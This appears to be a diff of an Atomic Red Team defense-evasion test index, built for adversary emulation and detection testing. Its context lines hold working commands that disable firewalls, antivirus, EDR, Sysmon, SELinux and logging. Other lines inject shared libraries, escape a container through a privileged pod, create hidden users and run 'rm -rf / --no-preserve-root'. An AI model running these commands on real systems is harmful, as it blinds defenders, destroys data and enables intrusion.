T1578.002: technique: @@ -23069,7 +23069,7 @@ defense-evasion: .\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") cleanup_command: 'taskkill /im cmd.exe /f -' + ' name: powershell elevation_required: true T1578.001: @@ -23305,10 +23305,10 @@ defense-evasion: dependencies: - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable}) -' + ' prereq_command: 'if (Test-Path #{gup_executable}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}" @@ -23316,7 +23316,7 @@ defense-evasion: command: "#{gup_executable}\n" cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 -' + ' name: command_prompt T1078.001: technique: @@ -23436,7 +23436,7 @@ defense-evasion: description: 'The Adversaries can activate the default Guest user. The guest account is inactivated by default -' + ' supported_platforms: - windows input_arguments: @@ -23447,10 +23447,10 @@ defense-evasion: executor: command: 'net user #{guest_user} /active:yes -' + ' cleanup_command: 'net user #{guest_user} /active:no -' + ' name: command_prompt elevation_required: true T1578.003: @@ -23589,7 +23589,7 @@ defense-evasion: description: 'Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html) -' + ' supported_platforms: - windows input_arguments: @@ -23612,7 +23612,7 @@ defense-evasion: description: 'Use Python to decode a base64-encoded text string and echo it to the console -' + ' supported_platforms: - linux - macos @@ -23628,13 +23628,13 @@ defense-evasion: dependencies: - description: 'Python must be present -' + ' prereq_command: 'which python3 -' + ' get_prereq_command: 'echo "Please install Python 3" -' + ' executor: name: sh elevation_required: false @@ -23651,7 +23651,7 @@ defense-evasion: description: 'Use Perl to decode a base64-encoded text string and echo it to the console -' + ' supported_platforms: - linux - macos @@ -23667,13 +23667,13 @@ defense-evasion: dependencies: - description: 'Perl must be present -' + ' prereq_command: 'which perl -' + ' get_prereq_command: 'echo "Please install Perl" -' + ' executor: name: sh elevation_required: false @@ -23687,7 +23687,7 @@ defense-evasion: description: 'Use common shell utilities to decode a base64-encoded text string and echo it to the console -' + ' supported_platforms: - linux - macos @@ -23718,7 +23718,7 @@ defense-evasion: description: 'Use common shell utilities to decode a hex-encoded text string and echo it to the console -' + ' supported_platforms: - linux - macos @@ -23734,13 +23734,13 @@ defense-evasion: dependencies: - description: 'xxd must be present -' + ' prereq_command: 'which xxd -' + ' get_prereq_command: 'echo "Please install xxd" -' + ' executor: name: sh elevation_required: false @@ -23839,24 +23839,24 @@ defense-evasion: - description: Verify docker is installed. prereq_command: 'which docker -' + ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi -' + ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker -' + ' get_prereq_command: 'sudo systemctl start docker -' + ' - description: Verify kind is in the path. prereq_command: 'which kind -' + ' get_prereq_command: | curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64 chmod +x ./kind @@ -23864,14 +23864,14 @@ defense-evasion: - description: Verify kind-atomic-cluster is created prereq_command: 'sudo kind get clusters -' + ' get_prereq_command: 'sudo kind create cluster --name atomic-cluster -' + ' - description: Verify kubectl is in path prereq_command: 'which kubectl -' + ' get_prereq_command: | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" chmod +x ./kubectl @@ -23881,11 +23881,11 @@ defense-evasion: -ti --rm --image alpine --overrides ''{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'' -' + ' name: sh cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-escape-pod -' + ' T1006: technique: id: attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5 @@ -24036,7 +24036,7 @@ defense-evasion: description: 'Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail -' + ' supported_platforms: - iaas:aws input_arguments: @@ -24055,7 +24055,7 @@ defense-evasion: dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured -' + ' prereq_command: | cat ~/.aws/credentials | grep "default" aws s3api create-bucket --bucket #{s3_bucket_name} --region #{region} @@ -24063,7 +24063,7 @@ defense-evasion: get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure -' + ' executor: command: | aws cloudtrail create-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name} --region #{region} @@ -24170,7 +24170,7 @@ defense-evasion: command: 'C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true -' + ' cleanup_command: | if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){ C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null @@ -24245,10 +24245,10 @@ defense-evasion: executor: command: 'wevtutil sl "#{log_name}" /e:false -' + ' cleanup_command: 'wevtutil sl "#{log_name}" /e:true -' + ' name: command_prompt T1562.007: technique: @@ -24348,10 +24348,10 @@ defense-evasion: executor: command: 'netsh advfirewall set currentprofile state off -' + ' cleanup_command: 'netsh advfirewall set currentprofile state on >nul 2>&1 -' + ' name: command_prompt - name: Disable Microsoft Defender Firewall via Registry auto_generated_guid: afedc8c4-038c-4d82-b3e5-623a95f8a612 @@ -24364,11 +24364,11 @@ defense-evasion: command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f -' + ' cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 1 /f -' + ' name: command_prompt - name: Allow SMB and RDP on Microsoft Defender Firewall auto_generated_guid: d9841bf8-f161-4c73-81e9-fd773a5ff8c1 @@ -24383,7 +24383,7 @@ defense-evasion: netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes cleanup_command: 'netsh advfirewall reset >nul 2>&1 -' + ' name: command_prompt - name: Opening ports for proxy - HARDRAIN auto_generated_guid: 15e57006-79dd-46df-9bf9-31bc24fb5a80 @@ -24442,27 +24442,27 @@ defense-evasion: auto_generated_guid: fe135572-edcd-49a2-afe6-1d39521c5a9a description: 'Stop the Uncomplicated Firewall (UFW) if installed. -' + ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if ufw is installed on the machine. -' + ' prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true command: 'ufw disable -' + ' cleanup_command: | ufw enable ufw status verbose @@ -24476,7 +24476,7 @@ defense-evasion: dependencies: - description: 'Check if systemctl and ufw is installed on the machine. -' + ' prereq_command: "if [ ! -x \"$(command -v systemctl)\" ]; then echo -e \"\\n***** systemctl NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; @@ -24484,13 +24484,13 @@ defense-evasion: ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true command: 'systemctl stop ufw -' + ' cleanup_command: | systemctl start ufw systemctl status ufw @@ -24503,20 +24503,20 @@ defense-evasion: dependencies: - description: 'Check if ufw is installed on the machine and enabled. -' + ' prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true command: 'ufw logging off -' + ' cleanup_command: | ufw logging low ufw status verbose @@ -24530,14 +24530,14 @@ defense-evasion: dependencies: - description: 'Check if ufw is installed on the machine and enabled. -' + ' prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -24551,21 +24551,21 @@ defense-evasion: auto_generated_guid: beaf815a-c883-4194-97e9-fdbbb2bbdd7c description: 'Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules. -' + ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if /etc/ufw/user.rules exists. -' + ' prereq_command: 'if [ ! -f "/etc/ufw/user.rules" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -24574,7 +24574,7 @@ defense-evasion: grep "# THIS IS A COMMENT" /etc/ufw/user.rules cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/ufw/user.rules -' + ' - name: Edit UFW firewall ufw.conf file auto_generated_guid: c1d8c4eb-88da-4927-ae97-c7c25893803b description: "Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf @@ -24585,14 +24585,14 @@ defense-evasion: dependencies: - description: 'Check if /etc/ufw/ufw.conf exists. -' + ' prereq_command: 'if [ ! -f "/etc/ufw/ufw.conf" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -24612,14 +24612,14 @@ defense-evasion: dependencies: - description: 'Check if /etc/ufw/sysctl.conf exists. -' + ' prereq_command: 'if [ ! -f "/etc/ufw/sysctl.conf" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -24639,14 +24639,14 @@ defense-evasion: dependencies: - description: 'Check if /etc/default/ufw exists. -' + ' prereq_command: 'if [ ! -f "/etc/default/ufw" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -24655,7 +24655,7 @@ defense-evasion: grep "# THIS IS A COMMENT" /etc/default/ufw cleanup_command: 'sed -i ''s/# THIS IS A COMMENT//g'' /etc/default/ufw -' + ' - name: Tail the UFW firewall log file auto_generated_guid: 419cca0c-fa52-4572-b0d7-bc7c6f388a27 description: "Print the last 10 lines of the Uncomplicated Firewall (UFW) log @@ -24666,20 +24666,20 @@ defense-evasion: dependencies: - description: 'Check if /var/log/ufw.log exists. -' + ' prereq_command: 'if [ ! -f "/var/log/ufw.log" ]; then echo -e "\n***** ufw NOT logging *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true command: 'tail /var/log/ufw.log -' + ' cleanup_command: '' T1562.001: technique: @@ -24744,7 +24744,7 @@ defense-evasion: auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8 description: 'Disables syslog collection -' + ' supported_platforms: - linux input_arguments: @@ -24771,11 +24771,11 @@ defense-evasion: dependencies: - description: 'Package with rsyslog must be on system -' + ' prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit 1; fi -' + ' get_prereq_command: "sudo #{package_installer} \n" executor: command: "#{flavor_command}\n" @@ -24786,7 +24786,7 @@ defense-evasion: auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8 description: 'Disable the Cb Response service -' + ' supported_platforms: - linux executor: @@ -24804,23 +24804,23 @@ defense-evasion: auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8 description: 'Disables SELinux enforcement -' + ' supported_platforms: - linux executor: command: 'setenforce 0 -' + ' cleanup_command: 'setenforce 1 -' + ' name: sh elevation_required: true - name: Stop Crowdstrike Falcon on Linux auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d description: 'Stop and disable Crowdstrike Falcon on Linux -' + ' supported_platforms: - linux executor: @@ -24836,7 +24836,7 @@ defense-evasion: auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c description: 'Disables Carbon Black Response -' + ' supported_platforms: - macos executor: @@ -24852,48 +24852,48 @@ defense-evasion: auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3 description: 'Disables LittleSnitch -' + ' supported_platforms: - macos executor: command: 'sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist -' + ' cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist -' + ' name: sh elevation_required: true - name: Disable OpenDNS Umbrella auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849 description: 'Disables OpenDNS Umbrella -' + ' supported_platforms: - macos executor: command: 'sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist -' + ' cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist -' + ' name: sh elevation_required: true - name: Disable macOS Gatekeeper auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053 description: 'Disables macOS Gatekeeper -' + ' supported_platforms: - macos executor: command: 'sudo spctl --master-disable -' + ' cleanup_command: 'sudo spctl --master-enable -' + ' name: sh elevation_required: true - name: Stop and unload Crowdstrike Falcon on macOS @@ -24901,7 +24901,7 @@ defense-evasion: description: 'Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS -' + ' supported_platforms: - macos input_arguments: @@ -24939,40 +24939,40 @@ defense-evasion: dependencies: - description: 'Sysmon must be downloaded -' + ' prereq_command: 'if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") -or (Test-Path $env:Temp\Sysmon\Sysmon.exe)) { exit 0 } else { exit 1 } -' + ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$env:TEMP\Sysmon.zip" Expand-Archive $env:TEMP\Sysmon.zip $env:TEMP\Sysmon -Force Remove-Item $env:TEMP\Sysmon.zip -Force - description: 'sysmon must be Installed -' + ' prereq_command: 'if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } -' + ' get_prereq_command: | if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else { Set-Location $env:TEMP\Sysmon\; .\Sysmon.exe -accepteula -i} - description: 'sysmon filter must be loaded -' + ' prereq_command: 'if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 } -' + ' get_prereq_command: | sysmon -u sysmon -accepteula -i executor: command: 'fltmc.exe unload #{sysmon_driver} -' + ' cleanup_command: | sysmon -u -i > nul 2>&1 sysmon -i -accepteula -i > nul 2>&1 @@ -24984,7 +24984,7 @@ defense-evasion: auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc description: 'Uninstall Sysinternals Sysmon for Defense Evasion -' + ' supported_platforms: - windows input_arguments: @@ -24997,10 +24997,10 @@ defense-evasion: dependencies: - description: 'Sysmon executable must be available -' + ' prereq_command: 'if(cmd /c where sysmon) {exit 0} else {exit 1} -' + ' get_prereq_command: | $parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip" New-Item -ItemType Directory $parentpath -Force | Out-Null @@ -25009,20 +25009,20 @@ defense-evasion: if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"} - description: 'Sysmon must be installed -' + ' prereq_command: 'if(cmd /c sc query sysmon) { exit 0} else { exit 1} -' + ' get_prereq_command: 'cmd /c sysmon -i -accepteula -' + ' executor: command: 'sysmon -u -' + ' cleanup_command: 'sysmon -i -accepteula >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: AMSI Bypass - AMSI InitFailed @@ -25050,11 +25050,11 @@ defense-evasion: command: 'Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse -' + ' cleanup_command: 'New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null -' + ' name: powershell elevation_required: true - name: Disable Arbitrary Security Windows Service @@ -25128,11 +25128,11 @@ defense-evasion: command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -' + ' cleanup_command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -' + ' name: powershell elevation_required: true - name: Disable Microsoft Office Security Features @@ -25172,7 +25172,7 @@ defense-evasion: command: '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All -' + ' name: command_prompt elevation_required: true - name: Stop and Remove Arbitrary Security Windows Service @@ -25182,7 +25182,7 @@ defense-evasion: The Remove-Service cmdlet removes a Windows service in the registry and in the service database. -' + ' supported_platforms: - windows input_arguments: @@ -25203,7 +25203,7 @@ defense-evasion: is located in a folder named with a random guid we need to identify it before invoking the uninstaller. -' + ' supported_platforms: - windows input_arguments: @@ -25290,7 +25290,7 @@ defense-evasion: description: 'Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization. -' + ' supported_platforms: - office-365 input_arguments: @@ -25306,7 +25306,7 @@ defense-evasion: dependencies: - description: 'ExchangeOnlineManagement PowerShell module must be installed -' + ' prereq_command: | $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable if (-not $RequiredModule) {exit 1} @@ -25888,21 +25888,21 @@ defense-evasion: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) -' + ' prereq_command: 'if [ -f #{path_to_shared_library ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} -' + ' executor: command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload'' -' + ' cleanup_command: 'sudo sed -i ''\~#{path_to_shared_library}~d'' /etc/ld.so.preload -' + ' name: bash elevation_required: true - name: Shared Library Injection via LD_PRELOAD @@ -25927,18 +25927,18 @@ defense-evasion: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) -' + ' prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} -' + ' executor: command: 'LD_PRELOAD=#{path_to_shared_library} ls -' + ' name: bash T1055.001: technique: @@ -26038,10 +26038,10 @@ defense-evasion: dependencies: - description: 'Utility to inject must exist on disk at specified location (#{dll_payload}) -' + ' prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}" @@ -26515,7 +26515,7 @@ defense-evasion: auto_generated_guid: 562d737f-2fc6-4b09-8c2a-7f8ff0828480 description: 'Delete a single file from the temporary directory -' + ' supported_platforms: - linux - macos @@ -26527,14 +26527,14 @@ defense-evasion: executor: command: 'rm -f #{file_to_delete} -' + ' name: sh - name: Delete an entire folder - Linux/macOS auto_generated_guid: a415f17e-ce8d-4ce2-a8b4-83b674e7017e description: 'Recursively delete the temporary directory and all files contained within it -' + ' supported_platforms: - linux - macos @@ -26546,14 +26546,14 @@ defense-evasion: executor: command: 'rm -rf #{folder_to_delete} -' + ' name: sh - name: Overwrite and delete a file with shred auto_generated_guid: '039b4b10-2900-404b-b67f-4b6d49aa6499' description: 'Use the `shred` command to overwrite the temporary file and then delete it -' + ' supported_platforms: - linux input_arguments: @@ -26564,7 +26564,7 @@ defense-evasion: executor: command: 'shred -u #{file_to_shred} -' + ' name: sh - name: Delete a single file - Windows cmd auto_generated_guid: 861ea0b4-708a-4d17-848d-186c9c7f17e3 @@ -26584,17 +26584,17 @@ defense-evasion: - description: 'The file to delete must exist on disk at specified location (#{file_to_delete}) -' + ' prereq_command: 'IF EXIST "#{file_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: 'echo deleteme_T1551.004 >> #{file_to_delete} -' + ' executor: command: 'del /f #{file_to_delete} -' + ' name: command_prompt - name: Delete an entire folder - Windows cmd auto_generated_guid: ded937c4-2add-42f7-9c2c-c742b7a98698 @@ -26614,17 +26614,17 @@ defense-evasion: - description: 'The file to delete must exist on disk at specified location (#{folder_to_delete}) -' + ' prereq_command: 'IF EXIST "#{folder_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: 'mkdir #{folder_to_delete} -' + ' executor: command: 'rmdir /s /q #{folder_to_delete} -' + ' name: command_prompt - name: Delete a single file - Windows PowerShell auto_generated_guid: 9dee89bd-9a98-4c4f-9e2d-4256690b0e72 @@ -26632,7 +26632,7 @@ defense-evasion: Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted. -' + ' supported_platforms: - windows input_arguments: @@ -26646,17 +26646,17 @@ defense-evasion: - description: 'The file to delete must exist on disk at specified location (#{file_to_delete}) -' + ' prereq_command: 'if (Test-Path #{file_to_delete}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'New-Item -Path #{file_to_delete} | Out-Null -' + ' executor: command: 'Remove-Item -path #{file_to_delete} -' + ' name: powershell - name: Delete an entire folder - Windows PowerShell auto_generated_guid: edd779e4-a509-4cba-8dfa-a112543dbfb1 @@ -26664,7 +26664,7 @@ defense-evasion: Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted. -' + ' supported_platforms: - windows input_arguments: @@ -26678,18 +26678,18 @@ defense-evasion: - description: 'The folder to delete must exist on disk at specified location (#{folder_to_delete}) -' + ' prereq_command: 'if (Test-Path #{folder_to_delete}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'New-Item -Path #{folder_to_delete} -Type Directory | Out-Null -' + ' executor: command: 'Remove-Item -Path #{folder_to_delete} -Recurse -' + ' name: powershell - name: Delete Filesystem - Linux auto_generated_guid: f3aa95fe-4f10-4485-ad26-abf22a764c52 @@ -26697,13 +26697,13 @@ defense-evasion: This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment. -' + ' supported_platforms: - linux executor: command: 'rm -rf / --no-preserve-root > /dev/null 2> /dev/null -' + ' name: bash - name: Delete Prefetch File auto_generated_guid: 36f96049-0ad7-4a5f-8418-460acaeb92fb @@ -26716,7 +26716,7 @@ defense-evasion: command: 'Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0]) -' + ' name: powershell elevation_required: true - name: Delete TeamViewer Log Files @@ -26740,18 +26740,18 @@ defense-evasion: - description: 'The folder to delete must exist on disk at specified location (#{teamviewer_log_file}) -' + ' prereq_command: 'if (Test-Path #{teamviewer_log_file}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'New-Item -Path #{teamviewer_log_file} | Out-Null -' + ' executor: command: 'Remove-Item #{teamviewer_log_file} -' + ' name: powershell T1222: technique: @@ -26896,7 +26896,7 @@ defense-evasion: auto_generated_guid: fb3d46c6-9480-4803-8d7d-ce676e1f1a9b description: 'Gatekeeper Bypass via command line -' + ' supported_platforms: - macos input_arguments: @@ -26907,7 +26907,7 @@ defense-evasion: executor: command: 'sudo xattr -d com.apple.quarantine #{app_path} -' + ' elevation_required: true name: sh T1484.001: @@ -27135,7 +27135,7 @@ defense-evasion: auto_generated_guid: 61a782e5-9a19-40b5-8ba4-69a4b9f3d7be description: 'Creates a hidden file inside a hidden directory -' + ' supported_platforms: - linux - macos @@ -27145,20 +27145,20 @@ defense-evasion: echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file cleanup_command: 'rm -rf /var/tmp/.hidden-directory/ -' + ' name: sh - name: Mac Hidden file auto_generated_guid: cddb9098-3b47-4e01-9d3b-6f5f323288a9 description: 'Hide a file on MacOS -' + ' supported_platforms: - macos executor: command: 'xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00" -' + ' name: sh - name: Create Windows System File with Attrib auto_generated_guid: f70974c8-c094-4574-b542-2c545af95a32 @@ -27176,20 +27176,20 @@ defense-evasion: dependencies: - description: 'The file must exist on disk at specified location (#{file_to_modify}) -' + ' prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify} -' + ' executor: command: 'attrib.exe +s #{file_to_modify} -' + ' cleanup_command: 'del /A:S #{file_to_modify} >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Create Windows Hidden File with Attrib @@ -27208,27 +27208,27 @@ defense-evasion: dependencies: - description: 'The file must exist on disk at specified location (#{file_to_modify}) -' + ' prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify} -' + ' executor: command: 'attrib.exe +h #{file_to_modify} -' + ' cleanup_command: 'del /A:H #{file_to_modify} >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Hidden files auto_generated_guid: 3b7015f2-3144-4205-b799-b05580621379 description: 'Requires Apple Dev Tools -' + ' supported_platforms: - macos input_arguments: @@ -27239,13 +27239,13 @@ defense-evasion: executor: command: 'setfile -a V #{filename} -' + ' name: sh - name: Hide a Directory auto_generated_guid: b115ecaf-3b24-4ed2-aefe-2fcb9db913d3 description: 'Hide a directory on MacOS -' + ' supported_platforms: - macos executor: @@ -27254,22 +27254,22 @@ defense-evasion: chflags hidden /var/tmp/T1564.001_mac.txt cleanup_command: 'rm /var/tmp/T1564.001_mac.txt -' + ' name: sh - name: Show all hidden files auto_generated_guid: 9a1ec7da-b892-449f-ad68-67066d04380c description: 'Show all hidden files on MacOS -' + ' supported_platforms: - macos executor: command: 'defaults write com.apple.finder AppleShowAllFiles YES -' + ' cleanup_command: 'defaults write com.apple.finder AppleShowAllFiles NO -' + ' name: sh T1564.002: technique: @@ -27317,7 +27317,7 @@ defense-evasion: description: 'Add a hidden user on macOS using Unique ID < 500 (users with that ID are hidden by default) -' + ' supported_platforms: - macos input_arguments: @@ -27328,17 +27328,17 @@ defense-evasion: executor: command: 'sudo dscl . -create /Users/#{user_name} UniqueID 333 -' + ' cleanup_command: 'sudo dscl . -delete /Users/#{user_name} -' + ' elevation_required: true name: sh - name: Create Hidden User using IsHidden option auto_generated_guid: de87ed7b-52c3-43fd-9554-730f695e7f31 description: 'Add a hidden user on macOS using IsHidden optoin -' + ' supported_platforms: - macos input_arguments: @@ -27349,10 +27349,10 @@ defense-evasion: executor: command: 'sudo dscl . -create /Users/#{user_name} IsHidden 1 -' + ' cleanup_command: 'sudo dscl . -delete /Users/#{user_name} -' + ' elevation_required: true name: sh T1564.003: @@ -27434,7 +27434,7 @@ defense-evasion: executor: command: 'Start-Process #{powershell_command} -' + ' name: powershell T1564: technique: @@ -27518,7 +27518,7 @@ defense-evasion: dependencies: - description: 'Microsoft Word must be installed -' + ' prereq_command: | try { New-Object -COMObject "Word.Application" | Out-Null @@ -27528,7 +27528,7 @@ defense-evasion: get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" -' + ' executor: command: | $macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt") @@ -27538,7 +27538,7 @@ defense-evasion: Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap cleanup_command: 'Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore -' + ' name: powershell - name: Create a Hidden User Called "$" auto_generated_guid: 2ec63cc2-4975-41a6-bf09-dffdfb610778 @@ -27713,7 +27713,7 @@ defense-evasion: auto_generated_guid: 4eafdb45-0f79-4d66-aa86-a3e2c08791f5 description: 'Disables history collection in shells -' + ' supported_platforms: - linux - macos @@ -27879,7 +27879,7 @@ defense-evasion: auto_generated_guid: 212cfbcf-4770-4980-bc21-303e37abd0e3 description: 'Emulates modification of auditd configuration files -' + ' supported_platforms: - linux input_arguments: @@ -27914,7 +27914,7 @@ defense-evasion: auto_generated_guid: 7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c description: 'Emulates modification of syslog configuration. -' + ' supported_platforms: - linux input_arguments: @@ -28059,10 +28059,10 @@ defense-evasion: executor: command: 'fsutil usn deletejournal /D C: -' + ' cleanup_command: 'fsutil usn createjournal m=1000 a=100 c: -' + ' name: command_prompt elevation_required: true T1202: @@ -28176,7 +28176,7 @@ defense-evasion: executor: command: 'conhost.exe "#{process}" -' + ' name: command_prompt T1553.004: technique: @@ -28276,7 +28276,7 @@ defense-evasion: auto_generated_guid: 9c096ec4-fd42-419d-a762-d64cc950627e 